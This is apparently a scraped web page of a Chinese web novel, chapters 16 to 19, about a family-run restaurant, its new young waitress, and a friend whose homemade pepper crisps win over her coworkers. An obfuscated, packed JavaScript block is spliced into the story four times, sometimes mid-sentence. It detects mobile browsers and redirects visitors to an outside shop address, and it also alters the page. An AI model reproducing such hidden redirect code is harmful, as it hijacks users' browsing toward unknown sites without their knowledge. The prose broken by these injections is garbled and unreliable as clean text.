端盘时，她走得又轻又稳，热腾腾的饭菜被妥帖地送到客人面前。客人一走，她就利落地收拾碗筷、擦桌子，一点也不拖沓。 许妈一边招呼客人，一边悄悄观察。她看见林小雨额角的细汗，看见她泛红的脸颊，更看见她眼中的专注和认真。 这姑娘手脚勤快，眼里有活，学得也快，没多久就熟悉了大半流程。许妈在心里轻轻点头。 下午四点，店里的热闹渐渐平息。忙了几个小时的林小雨终于能喘口气，她轻轻揉了揉发酸的手腕，心里却涌起一股久违的踏实。 “小雨，累了吧？快来，我们先吃晚饭。”许妈笑着朝她招手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609100|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚饭是蛋炒饭、炒洋芋丝粑粑，还有一盆热气腾腾的土豆汤。 蛋炒饭粒粒分明，金黄的鸡蛋均匀裹着米粒，葱花翠绿，鲜香扑鼻。 洋芋丝粑粑酥脆，泛着金黄，能看清里面一丝丝的土豆。 而土豆汤，汤色微黄，煮得沙软的土豆块沉在碗底，汤面飘着几点油星和葱花。 “来，快吃，忙一下午肯定饿坏了。” 林小雨低声道谢，舀了一勺蛋炒饭送进嘴里。 米饭的温热和鸡蛋的香醇在口中漾开，咸淡恰到好处，葱香点缀其间。 她又夹起一块洋芋丝粑粑，小心咬下，“咔嚓”一声，外皮酥脆，内里软糯咸香。 再喝一口土豆汤，丝滑的汤汁滑过喉咙，带着土豆质朴的甜香，仿佛一股暖流，熨帖了她空乏许久的胃，也轻轻驱散了积压心底的郁气。 她从没吃过这么好吃的饭。 她也记不清多久没有这样安心地、踏实地坐在桌边吃一顿像样的饭了。 离家后的每一天，她都在为生计发愁。进厂那几天常常吃不好，离职后，更是常常一个冷馒头随便对付。 此刻，这无与伦比的美味，像一双温柔的手，轻轻抚平了她紧绷的神经和满心的惶然。 她埋着头，一口接一口地吃着，眼眶却不自觉地湿了。不是因为难过，而是因为这突如其来的、近乎奢侈的美味与温暖。她使劲忍住眼泪，不想让许妈看见。 许妈看着女孩狼吞虎咽又强忍泪水的模样，轻声问：“怎么哭啦？” 林小雨摇摇头，只是不停往嘴里塞饭。 许妈没再多问，只是温和地说：“慢点吃，锅里还有。”顿了顿，她又像不经意似的开口：“小雨，今天做得挺好。以后，你就安心在这儿做吧。” 林小雨猛地抬起头，眼中还汪着水光，那双明亮的眼睛里盛满了惊喜与感激。她用力点头，千言万语哽在喉间，最后只化作带着哽咽的一声：“谢谢老板！” 许妈见她落泪，想问什么，最终还是把话咽了回去。 夜里，林小雨回到那间破旧的出租屋。坐在床边，心里是这段时间以来从未有过的安定。 躺下睡觉时，她想，现在工作找到了，老板人也很好，心里暖烘烘的。又想起晚上那顿晚饭，与那顿夜宵，忍不住咽了咽口水，心里更暖了。 窗外夜色浓重，她却仿佛看见，天正一点点亮起来。 17. 第十七章 九月十九号，林小雨醒得格外早。提前半小时就到了饭馆门口。看见许妈，她快步上前打了招呼。 “来这么早？”许妈略感意外。十点半上班，这会儿才九点多。 “我早点来，能帮一点是一点。” 许妈笑了：“你这孩子……也好，跟我一起准备准备吧。” 此时饭馆后厨里，许知味和许爸正忙着清洗、切配，备齐一天要用的食材。许妈则领着林小雨擦桌摆餐具、烧水备茶。林小雨手脚麻利，不一会儿就把前厅收拾得整整齐齐。 十点半，老板和员工都提前吃午饭。林小雨从昨晚就盼着这一顿，一到饭点，整个人都激动起来。 午饭是热腾腾的白米饭，配酸萝卜、拍黄瓜和汆汤肉。林小雨细细咀嚼片片滑嫩的汆汤肉，心里的伤痕仿佛被这美味无比的汆汤肉抚平，整个身心都轻盈地飘在云端。 她一口气吃了三碗。若不是肚子实在装不下了，她真想再来三碗。 一顿美味落肚，林小雨像被注入了满满元气，浑身是劲，干活更加卖力。 她熟练地点单、上菜、收拾，还开始留意客人的喜好，把每个客人都招待得妥帖满意。 许妈看在眼里，心中对这瘦弱姑娘的喜爱又添了几分。 牛牛妈和牛牛爸来吃饭了，还带来一袋花椒。 牛牛妈说：“这是江津的九叶青花椒，朋友老家自己种的，绝对正宗，市面上那些假货可比不了。味道巴适得很！” 江津是花椒之都，九叶青花椒麻味浓郁、自带醇香，全国闻名。许妈执要给钱，牛牛妈摆手：“咱们村离得近，都是老乡，客气啥。拿去吃就是了。” 许妈便多送了他们三杯紫苏熟水。 后厨里，许知味拿起装九叶青花椒的袋子闻了闻。她绿莹莹的果实，不像调料，倒像鲜果。凑近一闻，清冽醒脑的草木香直钻鼻腔。 九叶青花椒麻味纯正持久，还带着清新的柑橘香，能为菜肴增添独特的“酥麻”风味。不论做家常菜、大菜，还是自制酱料，风味都很出众。 许知味直接咬开一颗生花椒，生吃花椒粒，细细感受麻意在舌尖蔓延。 嗯，这花椒，做鱼很合适。 “爸，晚上咱们做青花椒鱼吧！” 青花椒鱼属江湖菜，因九叶青花椒的添味，而自带山野清气。 做法并不复杂。草鱼或鲈鱼片成薄片，用细盐、黄酒等配料稍腌，再抓一层薯粉，锁住鲜嫩水灵劲儿。 青花椒鱼，好吃的关键，在青花椒，得选饱满、一掐迸绿的那种，才够劲。 牛牛妈送来的青花椒饱满，够劲儿，很适合做青花椒鱼。 许知味热锅下油，放姜片，抓一把青花椒。花椒遇热油，“刺啦”一声，麻香迸发。 这麻香，不是干地刺人的香，是种透亮的香，仿佛把花椒的底味全烧了出来。 接着她熬汤，鱼头鱼骨滚出奶白色，再滑入鱼片。 烧鱼片，火候最关键，鱼片一浮起就离火，多一秒就老。 火候一到，鱼片出锅，盛进汤盆，许知味淋了一勺滚油。 滚油拎下，这一下可不得了，青花椒经热油二次激发，麻香轰然炸开，像惊起一林翠鸟，扑棱棱飞了满屋！ 林小雨进后厨端菜，被那铺天盖地的椒麻香勾得走不动路。她咽咽口水：“老板，这鱼……是新菜吗？” “不是，是咱们的晚饭。” 晚饭？！晚饭竟能吃上这么香的鱼？林小雨强忍口水。在许记饭馆，老板吃什么，员工就吃什么，也就是说，她晚上也能尝到这鱼！ 离晚饭只剩一小会儿了！林小雨心急如焚，恨不得立刻开饭。 四点整，晚饭时间到。许知味早先前与父母商量了下，吃饭时不接单，这样能安心吃饭。 林小雨觉得这安排挺好，不必边吃边惦记客人，免得吃饭都不安生。 虽不是饭点，馆子里却坐着四桌人。见许爸端出那盆青花椒鱼，泼辣的麻香瞬间席卷全场。 有客人惊叹：“嚯，好浓的椒麻香！老板你们吃的啥，这么香？” 许妈笑答：“青花椒鱼。” “太香了吧！”几桌客人纷纷伸颈望去。 汤色润汪汪的，汤面浮着鲜红辣椒丝、碧绿香菜，还有一层青花椒。花椒粒粒饱满，静静漂着，静静喷香。 鱼片藏在汤与椒之下，片片雪白，肥腴柔软地卧着，边缘浸出淡淡鹅黄。嫩汪汪、亮盈盈的，勾得人直想大快朵颐！ “啧啧，老板你们这青花椒鱼做得……光闻着就流口水了！” 那句话怎么说来着？活色生香！对，又好看，又喷香！ “老板，这么香的鱼，菜单上怎么没有？我们也想吃啊！” 许妈还未接话，许知味说：“正好做了一大盆，每桌分一小碗尝尝。如果喜欢，以后就上架。” “好啊好啊！”食客们眼睛唰地亮了。 四张桌，四小碗，客人迫不及待举筷。 “我的娘！这味道太巴适了！” “好吃！” “香！安逸得板！” “勒个味道不摆了！” “老板，明天必须上架！不，今天就上！” 许知味笑笑：“不急。” “急！我们急得很！” “之后再说吧。” “哎呀老板，给个准信嘛，等不及啦！” 许知味笑着摇摇头。 一旁，林小雨捧着自己的饭盒，夹起鱼片。 鱼片极嫩，夹起时微微颤动。入口滑溜，先是鲜，随后椒麻意丝丝漫开。舌尖如过电，却不呛喉，只觉两腮生津，胃口大开。 鱼肉中的麻味极妙，不是霸道的那种麻，倒像薄荷，细密落在舌面，凉丝丝的。吃完半晌，唇齿间还游走着若有若无的清气。 都说麻辣味，是很霸道的，这青花椒鱼却于霸道中藏婉约。并不那么刺激喉舌，只把喉舌伺候得服服帖帖。 像某些人，表面泼辣霸道，内里自有柔和的山水。 吃完微汗，通体舒泰，烦心事都随那缕麻香飘散了。 林小雨细细嚼着鱼肉，感受那麻辣鲜香，仿佛忘了重男轻女的父母，忘了在厂里受的委屈，忘了所有烦恼愁苦。刺痛的心，仿佛正一点点愈合。 她眼前雾蒙蒙的，想哭，又忍不住弯起嘴角。 许知味看见林小雨吃得眼睛弯弯。这小妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613201|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才十八岁就出来打工，衣服褪色，鞋子裂边，家里定有难处。不然，父母怎舍得让刚成年的孩子独自闯荡？ 收回思绪，她继续吃饭。青花椒鱼配糯实白饭，普普通通，却是人间至味。 青花椒遇活鱼，热油激凉麻，麻辣鲜香的鱼配糯实的饭，一切恰到好处。简单食材相遇，滋味如此妙不可言。 美食之道，本不在食材的珍稀，而在于食材恰好的相遇。许知味细品饭菜，想起古代父亲曾教导的话。忆及复古代的父亲，她心头一时怅然。 五点半，饭点到了，许记饭馆热闹起来。林小雨看了看那位带着电脑的食客。这位食客来了饭馆后一直在忙着敲键盘忙工作。他眉头紧锁，似乎是疲惫又厌倦，灵魂都被抽走了般。 等他的菜上了，他吃了菜后，整个人的灵魂又回笼了过来，精神气也重新回来了。他眉头不再紧锁，眼角眉梢都是放松的笑意。 香气氤氲中，食客因美食而笑容满面，认识或不认识的人，一同享受这片刻欢愉。 人人皆有忙碌，各有烦忧，可在许记吃完饭，个个满面红光，放松而开心。 林小雨看着一脸满足的食客们，她想，知味姐姐做的饭，是能治愈人心的。谁吃了她的饭，似乎都能忘却烦忧，得以轻松片刻。 客人一波波来去。七点多，最后一份朱沱汆汤肉被一个年轻的短发姑娘买走。 正想点汆汤肉的王大爷急了：“就没了？我还想吃呢！” 许妈歉声道：“实在对不住，卖完了，您明天再来吧。” “不行啊，现在就想吃！”王大爷馋得不行，眼巴巴望向那短发姑娘。 他眼珠一转，可怜兮兮地走到短发姑娘面前，说：“妹娃子，那份汆汤肉，能不能让给我这老头子？” 姑娘摇头：“大爷，对不起，我特意来吃的，不能让。” 王大爷装出可怜相：“小姑娘，我家老婆子病了，就想吃这一口，你行行好……” 姑娘犹豫了。见大爷可怜，她心软，可又实在舍不得这口肉，她就是为这个来的呀！ “小姑娘……”王大爷眼泛泪光，“我家老婆子病了，就想吃这一口……” 短发姑娘终究不忍，叹气道：“好吧，大爷，让给您了。” “谢谢！” 目睹全程的刘大爷：“……” 刘大爷常和王大爷下棋经常吵架，素来不对付。见他为口吃的这么骗人，立刻揭穿：“姑娘！别信他！他老婆早去世多年，他骗你的，就是馋你那口汆汤肉！” 短发姑娘：“？？？” 王大爷瞪了刘大爷一眼，这大嘴巴，多什么事！ 又对短发姑娘说：“小姑娘，别听他的！” “老王你为老不尊，咋骗小年轻呢！我这还有你老婆的葬礼照片！” 王大爷脸绿了。 短发姑娘脸也绿了。 合着真被骗了。她语气硬起来：“大爷，你怎么能这样！” 王大爷知道编不下去了，厚着脸皮道：“我就是……就是馋这一口……都怪许记的汆汤肉太好吃，不然我也不会骗你！都怪许记饭馆！全是他们的错！” 刚巧听到这句的许妈：“……” 18. 第十八章 合着你骗人还怪起我们饭馆来了？许妈简直哭笑不得。 短发小姑娘一哼声，抿紧了嘴：“大爷，反正，我那份不让给你了。” 王大爷咂咂嘴，想吃又吃不着，能怎么办？只好明天再来。他转身就朝正忙着的许妈走去：“老板，明天中午我预订一份汆汤肉。” “好嘞，还要别的吗？” “再加一份槐叶冷淘面吧。” “成。”许妈赶紧记下预定。 走出小饭馆，王大爷回头看了一眼。夜色里，小店氤氲在暖光中，香气热乎乎地飘出来。 他啧了一声，这许记，生意是越来越好了，连汆汤肉都能提前卖光。 想到这里，他忽然忧心起来。就凭许家闺女这手艺，生意肯定越来越火，到时候吃的人更多，万一又像今天这样扑空怎么办？ 正琢磨着，手机响了，是他牌友打来的。 牌友：“老王啊，你之前提过的那家很好吃的饭馆，是叫许记吧？在哪儿来着？我有空去尝尝。” 王大爷：“就在春熙老街那————”他话音猛地一顿。 随即改口：“唉，那家以前是不错，可这两天突然换厨子了，味道大不如前喽。” “啊？换厨子啦？不好吃了？” “是啊，你别去试了，现在也就一般水准。” “那行吧，不去啦。对了，什么时候再约牌局？” “回头再说，回头再说。” 挂了电话，王大爷咂咂嘴。为了不让更多人知道许记，不让人来抢吃的，他只能对不起老牌友了！ 打烊后，许知味揉着手腕说：“明天换几样新菜吧。” 老吃这几样，客人不腻，她都腻了。 “那明天卖什么？” “蛋炒饭不想炒了，先停停。汆汤肉才卖没几天，继续。明天就卖汆汤肉、洋芋丝粑粑、青花椒鱼、素炒青菜，再加个拍黄瓜。” “就这几样？” “嗯，以后每天只卖六样菜，备菜轻松点。做腻了随时换菜单。” 许爸许妈点点头。每天只卖六样，还动不动就换菜，也就是闺女手艺硬气，不然哪家饭馆敢这么任性，早关门了。 许爸问：“那价格怎么定？” 许知味：“照旧，比普通价贵几块吧。” 许妈叹气。其实就算贵几块，也还是贱卖了知味的手艺。她闺女做的菜，搁大酒店里卖三位数都不过分，像那蛋炒饭，标个188都合理！ 结果只比别家贵几块钱，她简直有种暴殄天物的心疼。于是把想法说了出来。 许知味听了道：“妈，要实际点。咱们饭馆还在攒客阶段，等于刚起步，真卖那么贵，得吓跑多少人。价格先这样，以后再说。” 说的也是，得切合实际。许妈点点头。 正要回家，天上忽然飘起小雨。一夜雨过后，连日来的燥热一下子散了。早起时，吹着凉沁沁的风，许妈说：“天气预报讲，今天全天就二十度。昨天还三十度呢，一晚上降了十度！” 二十度的天，有点凉飕飕的。许妈又说：“今天这天气，拍黄瓜估计不好卖了。” 拍黄瓜还是天热吃着爽。 尝过许知味做的拍黄瓜的许爸却道：“那也不一定。只要好吃，天冷天热都一样卖。” “哎哟，可不是！”许妈这才想起，自家闺女手艺摆在这儿，拍黄瓜做得这么美味，再冷的天也有人点。 许爸接着说：“再说了，就算拍黄瓜不好卖，青花椒鱼肯定好卖。突然降温，冷飕飕的，正该吃点热乎发汗的，青花椒鱼正合适。” “说得对！” 天凉了，林小雨换上外套，还是一早来到饭馆。见她外套旧得发白，还破了小口子，许妈又想起这孩子没读书就出来打工，心里一软，终究没忍住问：“你才十八，正是读书的年纪，家里怎么就放心你一个人出来打工？” 一提到家里人，林小雨眼眶立刻红了。她强忍着泪：“我爸妈，他们……”话说不下去，她摇摇头，不再吭声。 许妈也没再追问，给她倒了杯锅里煮好的热茶。暖香的紫苏熟水下肚，清逸的滋味带着暖意，一点点温润了林小雨的胃。她的泪意渐渐退去，很快，她重新振作起来，笑着说：“李姨，今天我也会好好干活！” 许妈含笑点头。 青花椒鱼、洋芋丝粑粑、拍黄瓜、炒青菜，这几道新菜毫无意外，赢得食客满堂彩。 “哈哈，刚才我还伤心今天没蛋炒饭，现在一点儿不难过了！新菜也这么绝！尤其是青花椒鱼，我的天，味道太顶了！” “今天天凉，吃青花椒鱼发发汗正好！” “拍黄瓜好吃惨了！老板做什么都这么好吃，简简单单的拍黄瓜怎么能做得这么香！” “这么香的拍黄瓜才卖十五？娘诶，老板是活菩萨吧？！” “嘶，服务员，再加一份素炒青菜！” “好的，请稍等。”林小雨赶忙应声。 中午饭点，店里热火朝天。等位的客人闻着新菜的香气，看着别人大快朵颐，馋得眼睛发红。 有等不及的客人舔舔嘴：“服务员，我的菜好了没？” “还有我的，什么时候能上？” “快了快了，我这就去催催！” 这时，有客人见左边那桌吃完的客人半天不动，忍不住抱怨：“大哥，你都吃完老半天了，赶紧让个座呗，一直占着位置干啥呢？没看见这么多人等着吗！” 那位男食客脸一红。他就是想多闻闻店里的香味，舍不得走。吃完了还占位确实不地道。他干咳两声，起身离开。 他一走，刚才排队的客人立马坐了上去。 今天客人比昨天还多。林小雨一边忙活，一边扫视店内。生意好，她虽然累，但心里高兴。 生意好，意味着工作更稳定，意味着她能常吃到知味姐做的饭。她不怕苦不怕累，就怕以后吃不到知味姐姐做的饭了。才吃了几天，她就好像已经离不开了。 许知味用漏勺捞鱼片时，看了眼时间。她转了转发酸的手腕，决定明天休息一天。 听到许知味说周五饭馆歇业一天，好迎接更忙的周末，林小雨第一反应不是高兴，而是失落。 放假，就吃不到好吃的了。她宁愿继续上班。 许妈见林小雨耷拉着脑袋，意外道：“放假还不开心啊？” 林小雨不好意思地挠挠头，实话实说：“店里的饭太好吃了，放假就吃不到了。” 许妈失笑：“你这孩子……” 许知味接口：“夜宵还有剩的，你可以打包两份回去，明天热着吃。” 林小雨眼睛一亮：“真的吗？太好了！” 夜里下班，林小雨拎着打包盒，高高兴兴回出租屋。天边挂着一轮又圆又亮的月亮。 她望着明月，嘴角轻轻扬起。她的运气，好像好起来了。 找到了好工作，老板一家都和善，每天还能吃到这么好吃的。她好像，终于不那么倒霉了。 周五上午十点。许知味还在睡。许爸许妈习惯早醒，轻手轻脚，没吵醒她。 十点十五分，许知味从梦中醒来。 “醒啦？锅里有早餐，快去洗漱吃了。”客厅里，正织围巾的许妈抬头说。 “嗯。”许知味打着哈欠，洗漱吃饭。 早餐是肉包、煎蛋和小米粥。许妈知道她爱吃酸菜肉包，特意包了些。 许知味咬着包子，看着碗里的小米粥，想起之前牛牛妈送的九叶青花椒。想了想，她说：“等下我用小米做点花椒锅巴，给牛牛家和杨奶奶家送些去。” 花椒锅巴是种咸口小零食。用正宗的九叶青花椒做，特别香。 蒸熟的小米加盐、花椒粉、十三香，再和鸡蛋、面粉揉成面团，切块，扎孔。 油烧到五成热，下锅炸。 滋滋滋滋！ 小米和面粉的清香、鸡蛋的鲜香、花椒独特的麻香，和其他调料的香气在热油中滋滋作响，瞬间爆发。 那一刹那，整个厨房都被熏得香喷喷的。 复炸之后，金黄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哭着哭着，哭饿了，才想起没吃晚饭。舍不得点外卖，又懒得做饭，忽然想起许知味寄了吃的。 打开快递盒，透明塑料袋装着的花椒锅巴金灿灿地映入眼中。 一开袋，浓香扑鼻。闻到香味，姜欣愣了一下，眼泪卡住了。 她吸吸鼻子，拈起一块锅巴送进嘴里。 先是清脆的“咔嚓”声在齿间迸开，像一道小闪电，劈开了心头的阴霾。 紧接着，混合着焦香米粒和独特椒麻的滋味，温柔而又霸道地占据了整个口腔。 米香的醇厚，花椒的香气随着咀嚼仿佛活了过来，与她疲惫的感官缠绵、共舞。 这突如其来、强烈的美味，像一只有力的大手，轻轻按在她抽痛的太阳穴上。盘踞心头的委屈、无力、彷徨，似乎被这酥麻香脆逼退了一寸，让出一小块喘息的空间。 她又拿起一块，更大口地咬下去。专注感受牙齿破开锅巴的脆响，感受复杂浓醇的滋味在唇齿间蔓延。 她一口接一口，吃得有些急，仿佛要把所有难过就着这香脆一起咽下、消化。 不知不觉，半袋锅巴下了肚。奇妙的惬意从胃里缓缓升起，扩散到四肢百骸。 此时此刻，虽然工作问题还在，同事的疏离、组长的责骂也没变，但死死攥住心脏、让她透不过气的沉重感，却奇异般地松动了一些。 她长长舒了口气，靠在床头，望着窗外江城的万家灯火。嘴里还残留着花椒那令人回味的麻香。 她把剩下的锅巴仔细封好。然后起身，决定去给自己煮一碗简单的泡面，加个蛋。 原本因为心累身累，她是不想动手做饭的，可吃过了花椒锅巴之后，现在身体里好像多了一丝力气。 她回味着花椒锅巴的滋味，告诉自己，无论如何，要好好吃饭，要吃饱，吃饱了，才有力气继续往前走。 19. 第十九章 九月二十二日，时序近十月，江城的空气里透出微微的凉。姜欣在七点准时起床，通勤四十分钟，抵达公司。 电梯里遇见同事，彼此只礼貌性地点头示意，便再无多话。 忙到中午，到了午休时间。 “妍妍，走，吃饭去！” “来了来了，饿死了！” 工作间的同事们三两结伴，热热闹闹地往食堂走。姜欣望着他们的背影，嘴角微动，最终还是一个人默默走向食堂。 自学生时代起，她就害怕落单。一个人去教室、一个人吃饭、一个人上厕所，都仿佛在无声宣告：她没有朋友。 那种感觉，尴尬又羞耻。很伤她的自尊心。所以学生时代她都要和朋友一起去教室吃饭什么的。 工作之后，学生时代未曾历尽的尴尬，到底是一一补了回来。她抿着唇，独自打好饭，找到角落的位置。低头吃饭时，忍不住轻轻叹了口气。 她这个部门只有她一个新人。将近三个月了，老员工们都有自己的小团体，待她依旧客气而疏离，她也只好继续独来独往。 没关系，她对自己说。职场而已，又不是来交朋友的。一个人也可以很好。别人的眼光，不重要，真的不重要。 可当看见其他同事有说有笑地离开食堂，那份压下去的酸涩与羡慕，还是悄悄漫了上来。 吃完午饭回到工位，她取出花椒锅巴，准备午睡前吃几片。 “咔嚓！” 一声脆响，一股霸道浓烈的香气瞬间散开。 靠窗的李姐先转过头，看了看姜欣，又舔舔嘴，没忍住问出口：“小姜，吃什么呢？这么香？” 姜欣捏着锅巴的手一停：“花椒锅巴。” 右边的王琳也凑过来：“花椒锅巴？闻着好香，哪儿买的？什么牌子？” “不是买的，是我好朋友自己做的。”姜欣把盒子摊开些，“李姐，琳姐，你们要尝尝吗？” 李姐和王琳对视一眼，太香了，真的馋得要流口水了，于是她们同时伸手：“那……就不客气啦。” 锅巴入口的瞬间，两人的眼睛不约而同地亮了。 “天！” “这、这也太……” “这也太好吃了吧！” 李姐又拈起一片，对着光端详：“我从没吃过这么脆这么入味的锅巴！” 王琳已经迫不及待地拿了第二片，边嚼边点头：“又脆又麻，越嚼越香，你朋友手艺这么好啊？” 看着她们赞不绝口的样子，姜欣把盒子往中间推了推：“喜欢就多吃点，我还有很多。” “那多不好意思。”李姐说着，手却很诚实地又伸了过去。 王琳嚼着锅巴，含糊地问：“你朋友是专业做这个的吗？怎么做得这么好吃？” “她家是开饭馆的，”姜欣解释，“她从小就在厨房里帮忙。” “难怪呢！”李姐感叹，“在哪儿开？叫什么名字？” “在海城，叫许记饭馆。” “海城啊……那有点远。”王琳咂咂嘴，“这锅巴她卖不卖？” “不卖的，就是做着自家吃。” “太可惜了，”王琳一脸遗憾，“这味道拿去卖，绝对爆火！” 李姐也连连点头。 三人围着一盒锅巴，说说笑笑，气氛不知不觉轻松起来。姜欣趁机说：“她锅巴做得好，蛋炒饭更是一绝。你们要是去海城，一定要去尝尝。” “那必须的！”王琳笑道，“不过我们可不认识路，到时候你得带我们去啊。” “一定一定。”姜欣笑着应下。 这时，隔壁组的张伟循着香味探过头来：“什么东西这么香？你们吃什么呢？” 李姐扬扬手里的锅巴：“小姜朋友做的花椒锅巴，香得很！” 姜欣赶紧递过去：“张哥，你也尝尝。” 张伟尝了一片，大为震撼：“我草！能再来一片吗？” “当然。” “谢了！” 就这样，一盒看似普通的锅巴，像一把温柔的钥匙，轻轻叩开了那扇隔在姜欣与同事之间、疏离了近三个月的大门。 晚上要加班，先去食堂吃了晚饭再回来加班。食堂里人影重重。李姐和王琳打好饭坐下，一眼看见角落里独自吃饭的姜欣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632218|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李姐想了想，朝姜欣招手：“小姜，过来一起吃！” 正低头默默吃饭的姜欣一怔。 “哎，发什么呆，快过来！”李姐失笑。 姜欣嘴唇动了动，端起餐盘走到她们对面坐下。 “咱们菜打得差不多嘛，你也喜欢芹菜？”王琳瞥了眼她的餐盘。 “嗯，喜欢。” “哈哈，好多人嫌芹菜有药味，我倒是就爱那股味儿。” “我也是。” 王琳：“那你喜不喜欢折耳根？好多人受不了，我可喜欢了，凉拌起来特别香。” “我喜欢，我是川渝人，我们那儿很多人都爱吃折耳根。” “你是川渝人？”王琳歪过头，“我之前去川渝出差，吃过那边的豆花饭和羊肉格格，味道真不错。” “我们那儿好吃的可多了，油醪糟、血豆腐、青蒿粑、羊角豆腐干……以后你们要是去，我请你们吃个遍。” “行啊，那可说定了！”李姐和王琳笑呵呵地应道。 晚上九点多，走出公司大楼，晚风依旧带着凉意，但想起今天发生的一切，姜欣心里却暖融融的。她掏出手机，给许知味发了一条消息：【知味，谢谢你做的锅巴。】 此时许记饭馆已打烊，后厨还亮着灯，在做九点前点的最后几单。许知味忙完最后几单，才看到这条没头没尾的消息。她有些莫名。 许知味：【之前不是谢过了吗？怎么又说？】 姜欣：【你不知道……算了，反正，谢谢啦！】 许知味：【有什么我不知道的，说。∩_∩】 姜欣犹豫了一下，虽然有点难为情，还是把今天的事说了。 许知味沉默了片刻，然后回复：【挺好的。以后带你同事来吃饭，给你们打折。】 放下手机，许知味轻轻笑了。 有时候，人与人之间那层看不见的隔膜，也许会被一口吃的打破。 一生爱吃、懂吃的中国人，总会被食物悄悄拉近彼此的距离。 世间隔阂或许万千，但或许食物总会有一种力量，可以“食”破心扉，打破隔阂。